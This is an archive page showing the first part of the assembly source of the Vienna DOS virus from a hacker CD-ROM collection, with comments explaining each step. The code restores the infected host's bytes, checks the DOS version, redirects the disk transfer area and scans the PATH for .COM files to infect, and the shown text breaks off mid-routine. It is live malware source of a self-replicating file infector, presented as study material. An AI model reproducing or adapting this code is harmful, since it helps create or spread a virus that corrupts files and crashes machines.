home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / VIENNA.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  26KB  |  683 lines

  1. ;*****************************************************************************
  2. ;
  3. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
  4. ;
  5. ; This file is for the purpose of virus study only! It should not be passed
  6. ;  around among the general public. It will be very useful for learning
  7. ;  how viruses work and propagate. But anybody with access to an assembler
  8. ;  can turn it into a working virus and anybody with a bit of assembly coding
  9. ;  experience can turn it into a far more malevolent program than it already
  10. ;  is. Keep this code in responsible hands!
  11. ;
  12. ; This program does not check wether or not the .COM file to be infected is
  13. ;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
  14. ;  file extension, but does a double-check by looking for a signature that
  15. ;  indicates wether or not a file REALLY is an .EXE file. The virus writer 
  16. ;  apparently did not know this. This virus will take any .EXE file that's 
  17. ;  been renamed to a .COM file and try to infect it, obscuring the signature 
  18. ;  that marks it as an .EXE file. When the infected file is then run, the
  19. ;  virus code will run first, and then the machine will try to run the .EXE
  20. ;  header data as though it were code. This is likely to crash the machine, and
  21. ;  since some later versions of DOS itself contain such misnamed .EXE files,
  22. ;  it's likely to happen.
  23. ;
  24. ;******************************************************************************
  25.  
  26. ;******************************************************************************
  27. ;It seems that MASM won't always willingly translate ordinary assembly code
  28. ; into the byte-for-byte replacement of the code in the Vienna Virus. Since
  29. ; MASM is just a 2 pass assembler, it doesn't always have enough information to
  30. ; figure out the size of an instruction when it needs to. To be safe, it makes
  31. ; its guess on the high side and then adds in unrequested NOPS if it needs to
  32. ; pad out the space it allocated. Many of the NOPs in this virus are the result
  33. ; of this. But the virus writer seems to have done a bit of hand modification
  34. ; to the virus, and as a result, one instance where we'd expect a NOP, there
  35. ; isn't one. This macro allows us to mimic that instance, where an ordinary
  36. ; MOV CX,xx would otherwise have worked fine.
  37. ;******************************************************************************
  38.  
  39. MOV_CX  MACRO   X
  40.         DB      0B9H
  41.         DW      X
  42. ENDM
  43.  
  44.  
  45. CODE    SEGMENT
  46.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  47.         ORG     $+0100H
  48.  
  49. ;*****************************************************************************
  50. ;Start out with a JMP around the remains of the original .COM file, into the
  51. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  52. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  53. ;*****************************************************************************
  54.  
  55. VCODE:  JMP     virus
  56.  
  57.  
  58. ;This was the rest  of the original .COM file. Tiny and simple, this time
  59.  
  60.         NOP
  61.         NOP
  62.         NOP
  63.         NOP
  64.         NOP
  65.         NOP
  66.         NOP
  67.         NOP
  68.         NOP
  69.         NOP
  70.         NOP
  71.         NOP
  72.         NOP
  73.         NOP
  74.         NOP
  75.  
  76.  
  77. ;************************************************************
  78. ;              The actual virus starts here
  79. ;************************************************************
  80.  
  81. v_start equ     $
  82.  
  83.  
  84. virus:  PUSH    CX
  85.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  86.                                         ; The 2nd and 3rd bytes get modified.
  87.         CLD                             ;Pointers will be auto INcremented
  88.         MOV     SI,DX                   ;Access data as offset from SI
  89.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  90.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  91.         MOV     CX,3
  92.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  93.         MOV     SI,DX                   ;Keep SI pointing to the data area
  94.  
  95. ;*************************************************************
  96. ;                   Check the DOS version
  97. ;*************************************************************
  98.  
  99.         MOV     AH,30H
  100.         INT     21H
  101.  
  102.         CMP     AL,0                    ;0 means it's version 1.X
  103.  
  104.         JNZ     dos_ok                  ;For version 2.0 or greater
  105.         JMP     quit                    ;Don't try to infect version 1.X
  106.  
  107.  
  108. ;*************************************************************
  109. ;  Here if the DOS version is high enough for this to work
  110. ;*************************************************************
  111.  
  112. dos_ok: PUSH    ES
  113.  
  114.  
  115. ;*************************************************************
  116. ;               Get DTA address into ES:BX
  117. ;*************************************************************
  118.  
  119.         MOV     AH,2FH
  120.         INT     21H
  121.  
  122. ;*************************************************************
  123. ;                    Save the DTA address
  124. ;*************************************************************
  125.  
  126.  
  127.         MOV     [SI+old_dta],BX
  128.         MOV     [SI+old_dts],ES         ;Save the DTA address
  129.  
  130.         POP     ES
  131.  
  132. ;*************************************************************
  133. ;        Set DTA to point inside the virus data area
  134. ;*************************************************************
  135.  
  136.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  137. ;       NOP                             ;MASM will add this NOP here
  138.         ADD     DX,SI                   ;Compute DTA address
  139.         MOV     AH,1AH
  140.         INT     21H                     ;Set new DTA to inside our own code
  141.  
  142.  
  143.         PUSH    ES
  144.         PUSH    SI
  145.         MOV     ES,DS:2CH
  146.         MOV     DI,0                    ;ES:DI points to environment
  147.  
  148. ;************************************************************
  149. ;        Find the "PATH=" string in the environment
  150. ;************************************************************
  151.  
  152. find_path:
  153.         POP     SI
  154.         PUSH    SI                      ;Get SI back
  155.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  156.         LODSB
  157.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  158.         REPNZ   SCASB                   ;Search for first character
  159.         MOV     CX,4
  160.  
  161. ;************************************************************
  162. ;       Loop to check for the next four characters
  163. ;************************************************************
  164.  
  165. check_next_4:
  166.         LODSB
  167.         SCASB
  168.         JNZ     find_path               ;If not all there, abort & start over
  169.         LOOP    check_next_4            ;Loop to check the next character
  170.  
  171.         POP     SI
  172.         POP     ES
  173.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  174.         MOV     DI,SI
  175.         ADD     DI,wrk_spc              ;File name workspace
  176.         MOV     BX,SI                   ;Save a copy of SI
  177.         ADD     SI,wrk_spc              ;Point SI to workspace
  178.         MOV     DI,SI                   ;Point DI to workspace
  179.         JMP     SHORT   slash_ok
  180.  
  181.  
  182. ;**********************************************************
  183. ;     Look in the PATH for more subdirectories, if any
  184. ;**********************************************************
  185.  
  186. set_subdir:
  187.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  188.         JNZ     found_subdir            ;If not, there are more subdirectories
  189.         JMP     all_done                ;Else, we're all done
  190.  
  191.  
  192. ;**********************************************************
  193. ;    Here if there are more subdirectories in the path
  194. ;**********************************************************
  195.  
  196. found_subdir:
  197.         PUSH    DS
  198.         PUSH    SI
  199.         MOV     DS,ES:2CH               ;DS points to environment segment
  200.         MOV     DI,SI
  201.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  202.         ADD     DI,wrk_spc              ;DI points to file name workspace
  203.  
  204.  
  205. ;***********************************************************